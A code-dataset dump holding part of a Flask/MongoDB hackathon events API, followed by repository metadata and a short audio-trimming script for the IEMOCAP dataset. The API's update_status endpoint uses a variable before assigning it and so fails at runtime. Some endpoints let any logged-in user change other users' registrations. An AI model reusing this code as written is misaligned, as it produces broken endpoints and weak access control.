Response('Event name already exists', status=409)\n\n    event['display_name'] = request.json['display_name']\n    event['start_date'] = datetime.fromisoformat(request.json['start_date'])\n    event['end_date'] = datetime.fromisoformat(request.json['end_date'])\n    event['num_registrations'] = 0\n    event['event_participants'] = []\n    event['description'] = request.json['description'] if 'description' in request.json else None\n    event['is_virtual'] = request.json['is_virtual']\n    event['location'] = request.json['location'] if 'location' in request.json else None\n    event['zoom_link'] = request.json['zoom_link'] if 'zoom_link' in request.json else None\n\n    db.events.insert_one(event)\n\n    return jsonify({\"msg\": \"event added\"}), 201\n\n\n    \n@events_api.route('/', methods=['DELETE'])\n@jwt_required\n@check_admin\ndef delete_event():\n\n    \"\"\"Deletes an event.\n\n    :reqjson event_name: event name\n    :reqjson display_name: name of event displayed to general public\n\n    Example input:\n\n    .. sourcecode:: json\n\n    {\n        \"event_name\": \"HopHacks_Fall_2022\",\n    }\n\n    :status 200: Event deleted\n    :status 400: Error with request or operation\n    :status 404: Event does not exist\n    \n    \"\"\"\n\n    if (request.json is None):\n        return Response('Data not in json format', status=400)\n\n    if not (all(field in request.json for field in ['event_name'])):\n        return Response('Invalid request', status=400)\n    event = {}\n    event['event_name'] = request.json['event_name']\n    if len(list(db.events.find(event))) == 0:\n        return Response('Event Does Not Exist', status=404)\n\n    db.events.delete_one(event)\n    return jsonify({\"msg\": \"event deleted\"}), 200\n\n    \n@events_api.route('/', methods=['PUT'])\n@jwt_required\n@check_admin\ndef update_event():\n\n    \"\"\"Updates an event.\n\n    :reqjson event_name: event name\n    :reqjson new_event_name: new event name that event_name is being changed to (optional)\n    :reqjson display_name: new name of event displayed to general public (optional)\n    :reqjson start_date: new start date of event (optional)\n    :reqjson end_date: new end date of event (optional)\n    :reqjson description: new description of event (optional)\n    :reqjson is_virtual: new boolean string true/false saying whether event is virtual or in-person (optional)\n    :reqjson location: new location of event (optional)\n    :reqjson zoom_link: new zoom link of event (optional)\n\n    Example input:\n\n    .. sourcecode:: json\n\n    {\n        \"event_name\": \"HopHacks_Fall_2022\",\n        \"new_event_name\": \"Hophacks_Fall_2023\"\n    }\n\n    :status 200: Event updated\n    :status 400: Error with request or update operation\n    :status 404: Event does not exist\n\n    \"\"\"\n\n    if (request.json is None):\n        return Response('Data not in json format', status=400)\n\n    if not (all(field in request.json for field in ['event_name'])):\n        return Response('Invalid request', status=400)\n\n    event_current = {}\n    event_current['event_name'] = request.json['event_name']\n\n    if len(list(db.events.find(event_current))) == 0:\n        return Response('Event Does Not Exist', status=404)\n\n    for field in request.json:\n        if field == 'new_event_name':\n            continue\n        if \"date\" in field:\n            db.events.update_one(event_current, {\"$set\": {\n                field: datetime.strptime(request.json[field], '%m-%d-%Y')}})\n        else:\n            db.events.update_one(event_current, {\"$set\": {\n                field: request.json[field]}\n            })\n    if 'new_event_name' in request.json:\n        if not check_event_name(request.json['event_name']):\n            return Response('Invalid new_event_name', status=400)\n        db.events.update_one(\n            event_current, {\"$set\": {'event_name': request.json['new_event_name']}})\n\n    return jsonify({\"msg\": \"event updated\"}), 200\n\n    \n@events_api.route('/addParticipant', methods=['POST'])\n@jwt_required\ndef add_participant():\n\n    \"\"\"Adds a participant to an event.\n\n    :reqjson event_name: event name\n    :reqjson user_id: the object ID of the user in the database\n\n    Example input:\n\n    .. sourcecode:: json\n\n    {\n        \"event_name\": \"HopHacks_Fall_2022\",\n        \"user_id\": \"623e2e52eebe994953ba2f84\"\n    }\n    \n    :status 200: Participant added\n    :status 400: Error with request or event doesn't exist\n\n    \"\"\"\n\n    if not (all(field in request.json for field in ['event_name', 'user_id'])):\n        return Response('Invalid request', status=400)\n\n    event_name = request.json[\"event_name\"]\n    user_id = request.json[\"user_id\"]\n\n    event = {'event_name': event_name}\n    if len(list(db.events.find(event))) == 0:\n        return Response('Event Does Not Exist', status=400)\n\n    user = db.users.find_one({\"_id\": ObjectId(user_id)})\n    if user == None:\n        return Response('Event Does Not Exist', status=400) \n    record = {\n        'user_id': user_id,\n        'username': user['username'],\n        'profile': user['profile'],\n        'status': 'applied'\n    }\n\n    db.events.update_one(event, {'$push': {'event_participants': record}, '$inc': {\n                         'num_registrations': 1}})\n\n    event_record = {\n        'event_name': event_name,\n        'status': 'applied'\n    }\n\n    db.users.update_one({\"_id\": ObjectId(user_id)}, {\n                        '$push': {'registrations': event_record}})\n\n    return jsonify({\"msg\": \"participant added\"}), 200\n\n\n    \n\n@events_api.route('/update_status', methods=['PUT'])\n@jwt_required\ndef update_status():\n\n    \"\"\"Updates the registration status of a user\n\n    :reqjson event_name: event name\n    :reqjson user_id: the object ID of the user in the database\n    :status: the new registration status of the user for this event\n\n    Example input:\n\n    .. sourcecode:: json\n\n    {\n        \"event_name\": \"HopHacks_Fall_2022\",\n        \"user_id\": \"623e2e52eebe994953ba2f84\",\n        \"status\": \"rsvp\"\n    }\n\n    :status 200: Registration status updated\n    :status 400: Invalid request or registration does not exist\n\n    \"\"\"\n\n    if not (all(field in request.json for field in ['event_name', 'user_id', 'status'])):\n        return Response('Invalid request', status=400)\n\n    event_name = request.json['event_name']\n    user_id = request.json['user_id']\n    status = request.json['status']\n\n    if status not in ['applied', 'rsvp', 'canceled']:\n        return Response('Invalid request', status=400)\n\n\n    # Update event record\n    event_query = {'event_name': event_name}\n    event = db.events.find_one(event_query)\n    if event == None:\n        return Response('Event Does Not Exist', status=400)\n    participants = event['event_participants']\n    found = False\n    for i in range(len(participants)):\n        user = participants[i]\n        if user['user_id'] == user_id:\n            found = True\n            participants[i]['status'] = status\n\n    if not found:\n        return Response('Registration Does Not Exist', status=400)\n\n    db.events.update_one({\n        'event_name': event_name,\n    },\n        {\n            '$set': {'event_participants': registrations}\n    }\n    )\n\n    # Update user record\n    user = db.users.find_one({\"_id\": ObjectId(user_id)})\n    if user == None:\n        return Response('Event Does Not Exist', status=400)\n\n    registrations = user['registrations']\n    found = False\n    for i in range(len(registrations)):\n        event = registrations[i]\n        if event['event_name'] == event_name:\n            found = True\n            registrations[i]['status'] = status\n\n    if not found:\n        return Response('Registration Does Not Exist', status=400)\n    db.users.update_one({\"_id\": ObjectId(user_id)},\n        {\n            '$set': {'registrations': registrations}\n        } \n    )\n\n    return jsonify({\"msg\": \"registration updated\"}), 200\n\n@events_api.route('/getRegistrations/', methods=['GET'])\n@jwt_required\ndef get_registrations():\n\n    \"\"\"Get all events that a user has registered for.\n\n    :reqarg user_id: the object ID of the user in the database\n\n    :return: list of all events user has registered for\n\n    :status 200: Registrations returned successfully\n    :status 400: Invalid request\n    :status 404: User not found\n\n    \"\"\"\n\n    if 'user_id' not in request.args:\n        return Response('Invalid request', status=400)\n\n    user_id = request.args['user_id']\n    user = db.users.find_one({\"_id\": ObjectId(user_id)})\n    if user == None:\n        return Response('User not found', status=404)\n    registrations = user['registrations']\n\n    return jsonify(registrations)\n\n\n@events_api.route('/getParticipants/<event>', methods=['GET'])\n@jwt_required\ndef get_participant(event):\n\n    \"\"\"Get all participants for a specific event.\n\n    :param event_name: event name\n\n    :reqarg hopkins_student: Used if and only if ONLY Hopkins students should be returned\n    :reqarg reg_status: registration status of users being returned\n\n    Both hopkins_student and reg_status are essentially search filters\n\n    :return: dictionary with 'participants' as key and value as list of all participants of the event\n\n    :status 200: list of all participants is returned successfully\n    :status 400: Invalid request or event does not exist\n\n    \"\"\"\n\n    if event is None:\n        return Response('Invalid request', status=400)\n\n    args = {'event_name': event}\n    if len(list(db.events.find(args))) == 0:\n        return Response('Event Does Not Exist', status=400)\n\n    # Do not use hopkins_student in arguments (request.json) unless you only want Hopkins Students\n    # If a user being a Hopkins student is irrelevant, just do not include \"hopkins_student\" in request.json\n    participants = []\n    cursor = db.events.find(args)\n    if 'hopkins_student' in request.args and 'reg_status' in request.args:\n        for i in cursor:\n            for j in i['event_participants']:\n                if j['status'] == request.args['reg_status'] and j['profile']['is_jhu'] == True:\n                    participants.append(j)\n            break\n    elif 'hopkins_student' in request.args:\n        for i in cursor:\n            for j in i['event_participants']:\n                print(j['profile']['school'])\n                if j['profile']['is_jhu'] == True:\n                    participants.append(j)\n            break\n    elif 'reg_status' in request.args:\n        for i in cursor:\n            for j in i['event_participants']:\n                if j['status'] == request.args['reg_status']:\n                    participants.append(j)\n            break\n    else:\n        for i in cursor:\n            participants = i['event_participants']\n            break\n    return jsonify({'participants': participants}), 200\n\n\ndef remove_duplicates_from_list(random_list):\n    \"\"\"Removes duplicates from a list\n\n    :param random_list: List that duplicates will be removed from\n    :return: list without any duplicate values\n\n    \"\"\"\n    res = []\n    [res.append({\"profile\": x[\"profile\"], \"username\": x[\"username\"]}) for x in random_list if {\"profile\": x[\"profile\"], \"username\": x[\"username\"]} not in res]\n    return res\n\n\n@events_api.route('/getParticipants', methods=['GET'])\n@jwt_required\ndef get_participant_by_date():\n\n    \"\"\"Gets all participants within a certain time frame\n\n    :reqarg start_date_beg: Start date and time\n    :reqarg start_date_end: Start date and time (used in conjunction with start_date_beg for one-day events)\n    :reqarg end_date_beg: End date and time (used in conjunction with end_date_end potentially for one-date events)\n    :reqarg end_date_end: End date and time \n\n    :status 200: Successful\n    :status 400: No events in timeframe\n\n    \"\"\"\n    \n    start_date_beg = datetime.fromisoformat(\n        request.args['start_date_beg']) if 'start_date_beg' in request.args else -1\n    start_date_end = datetime.fromisoformat(\n        request.args['start_date_end']) if 'start_date_end' in request.args else -1\n    end_date_beg = datetime.fromisoformat(\n        request.args['end_date_beg']) if 'end_date_beg' in request.args else -1\n    end_date_end = datetime.fromisoformat(\n        request.args['end_date_end']) if 'end_date_end' in request.args else -1\n\n    # Build the args for the querying based on paraemeters provided\n    args = {}\n    if 'start_date_beg' in request.args:\n        args['start_date'] = {'$gte': start_date_beg}\n        if 'start_date_end' in request.args:\n            args['start_date']['$lte'] = start_date_end\n    elif 'start_date_end' in request.args:\n        args['start_date'] = {'$lte': start_date_end}\n\n    if 'end_date_beg' in request.args:\n        args['end_date'] = {'$gte': end_date_beg}\n        if 'end_date_end' in request.args:\n            args['end_date']['$lte'] = end_date_end\n    elif 'end_date_end' in request.args:\n        args['end_date'] = {'$lte': end_date_end}\n\n    # Query and build result\n    cursor = db.events.find(args)\n\n    if len(list(db.events.find(args))) == 0:\n        return Response('No events occurred in this time frame', status=400)\n\n    participants = []\n\n    # Do not use hopkins_student in arguments (request.args) unless you only want Hopkins Students\n    # If a user being a Hopkins student is irrelevant, just do not include \"hopkins_student\" in request.args\n\n    if 'hopkins_student' in request.args:\n        for i in cursor:\n            for j in i['event_participants']:\n                if j['profile']['is_jhu'] == True:\n                    participants.append(j)\n    else:\n        for i in cursor:\n            for j in i['event_participants']:\n                participants.append(j)\n    # Remove duplicate participants\n    participants = remove_duplicates_from_list(participants)\n    return jsonify({'participants': participants}), 200\n", "repo_name": "HopHacks/hophacks-flask", "sub_path": "api/src/events.py", "file_name": "events.py", "file_ext": "py", "file_size_in_byte": 19642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Blueprint", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 59, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 59, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 61, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 61, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 63, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 63, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 73, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "db.db.events.find", "line_number": 84, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 84, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 93, "usage_type": "call"}, {"api_name": "db.db.events.find_one", "line_number": 109, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 109, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 109, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 117, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 155, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 155, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 156, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 158, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 158, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 159, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 164, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 164, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 166, "usage_type": "call"}, {"api_name": "db.db.events.find", "line_number": 168, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 168, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 168, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 171, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 171, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 172, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 172, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 172, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 172, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 173, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 173, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 173, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 173, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 176, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 177, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 177, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 178, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 178, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 179, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 179, "usage_type": "name"}, {"api_name": "db.db.events.insert_one", "line_number": 181, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 181, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 181, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 183, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 121, "usage_type": "name"}, {"api_name": "util.decorators.check_admin", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 211, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 211, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 212, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 214, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 214, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 215, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 217, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 217, "usage_type": "name"}, {"api_name": "db.db.events.find", "line_number": 218, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 218, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 218, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 219, "usage_type": "call"}, {"api_name": "db.db.events.delete_one", "line_number": 221, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 221, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 221, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 222, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 188, "usage_type": "name"}, {"api_name": "util.decorators.check_admin", "line_number": 189, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 257, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 257, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 258, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 260, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 260, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 261, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 264, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 264, "usage_type": "name"}, {"api_name": "db.db.events.find", "line_number": 266, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 266, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 266, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 267, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 269, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 269, "usage_type": "name"}, {"api_name": "db.db.events.update_one", "line_number": 273, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 273, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 273, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 274, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 274, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 274, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 274, "usage_type": "name"}, {"api_name": "db.db.events.update_one", "line_number": 276, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 276, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 276, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 277, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 277, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 279, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 279, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 280, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 280, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 281, "usage_type": "call"}, {"api_name": "db.db.events.update_one", "line_number": 282, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 282, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 282, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 283, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 283, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 285, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 226, "usage_type": "name"}, {"api_name": "util.decorators.check_admin", "line_number": 227, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 311, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 311, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 312, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 314, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 314, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 315, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 315, "usage_type": "name"}, {"api_name": "db.db.events.find", "line_number": 318, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 318, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 318, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 319, "usage_type": "call"}, {"api_name": "db.db.users.find_one", "line_number": 321, "usage_type": "call"}, {"api_name": "db.db.users", "line_number": 321, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 321, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 321, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 323, "usage_type": "call"}, {"api_name": "db.db.events.update_one", "line_number": 331, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 331, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 331, "usage_type": "name"}, {"api_name": "db.db.users.update_one", "line_number": 339, "usage_type": "call"}, {"api_name": "db.db.users", "line_number": 339, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 339, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 339, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 342, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 289, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 372, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 372, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 373, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 375, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 375, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 376, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 376, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 377, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 377, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 380, "usage_type": "call"}, {"api_name": "db.db.events.find_one", "line_number": 385, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 385, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 385, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 387, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 397, "usage_type": "call"}, {"api_name": "db.db.events.update_one", "line_number": 399, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 399, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 399, "usage_type": "name"}, {"api_name": "db.db.users.find_one", "line_number": 408, "usage_type": "call"}, {"api_name": "db.db.users", "line_number": 408, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 408, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 408, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 410, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 421, "usage_type": "call"}, {"api_name": "db.db.users.update_one", "line_number": 422, "usage_type": "call"}, {"api_name": "db.db.users", "line_number": 422, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 422, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 422, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 428, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 348, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 446, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 446, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 447, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 449, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 449, "usage_type": "name"}, {"api_name": "db.db.users.find_one", "line_number": 450, "usage_type": "call"}, {"api_name": "db.db.users", "line_number": 450, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 450, "usage_type": "name"}, {"api_name": "bson.ObjectId", "line_number": 450, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 452, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 455, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 431, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 479, "usage_type": "call"}, {"api_name": "db.db.events.find", "line_number": 482, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 482, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 482, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 483, "usage_type": "call"}, {"api_name": "db.db.events.find", "line_number": 488, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 488, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 488, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 489, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 489, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 492, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 492, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 495, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 495, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 502, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 502, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 505, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 505, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 512, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 459, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 544, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 544, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 543, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 543, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 546, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 546, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 545, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 545, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 548, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 548, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 547, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 547, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 550, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 550, "usage_type": "name"}, {"api_name": "datetime.datetime.fromisoformat", "line_number": 549, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 549, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 554, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 554, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 556, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 556, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 558, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 558, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 561, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 561, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 563, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 563, "usage_type": "name"}, {"api_name": "flask.request.args", "line_number": 565, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 565, "usage_type": "name"}, {"api_name": "db.db.events.find", "line_number": 569, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 569, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 569, "usage_type": "name"}, {"api_name": "db.db.events.find", "line_number": 571, "usage_type": "call"}, {"api_name": "db.db.events", "line_number": 571, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 571, "usage_type": "name"}, {"api_name": "flask.Response", "line_number": 572, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 579, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 579, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 590, "usage_type": "call"}, {"api_name": "flask_jwt_extended.jwt_required", "line_number": 528, "usage_type": "name"}]}
{"seq_id": "38961986193", "text": "import librosa\nimport soundfile as sf\nimport pandas as pd\nimport os\n\ndef main():\n\n    df = pd.read_csv('iemocap_metadata.csv')\n    file_list = df['path'].tolist()\n\n    for index, file_name in enumerate(file_list):\n        print('On file number', index + 1, '/', len(file_list))\n        trim(file_name)\n\ndef trim(file_name):\n\n    old_file_path = 'data/IEMOCAP_dataset/' + file_name\n    with sf.SoundFile(old_file_path) as sound_file:\n        sample_rate = sound_file.samplerate\n\n    audio, sr = librosa.load(old_file_path, sr=sample_rate, mono=True)\n    clip = librosa.effects.trim(audio, top_db=30)\n\n    path_to_new_file = 'data/IEMOCAP_dataset_trimmed/' + file_name\n    if not os.path.exists(os.path.dirname(path_to_new_file)):\n        os.makedirs(os.path.dirname(path_to_new_file))\n\n    # sf.write(path_to_new_file, wav_data, sr)\n    sf.write(path_to_new_file, clip[0], sr)\n\nif __name__ == '__main__':\n    main()", "repo_name": "rofe-dl/emotion-recognition-ensemble-learning", "sub_path": "process_dataset/old_code/trim.py", "file_name": "trim.py", "file_ext": "py", "file_size_in_byte": 914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "soundfile.SoundFile", "line_number": 18, "usage_type": "call"}, {"api_name": "librosa.load", "line_number": 21, "usage_type": "call"}, {"api_name": "librosa.effects.trim", "line_number": 22, "usage_type": "call"}, {"api_name": 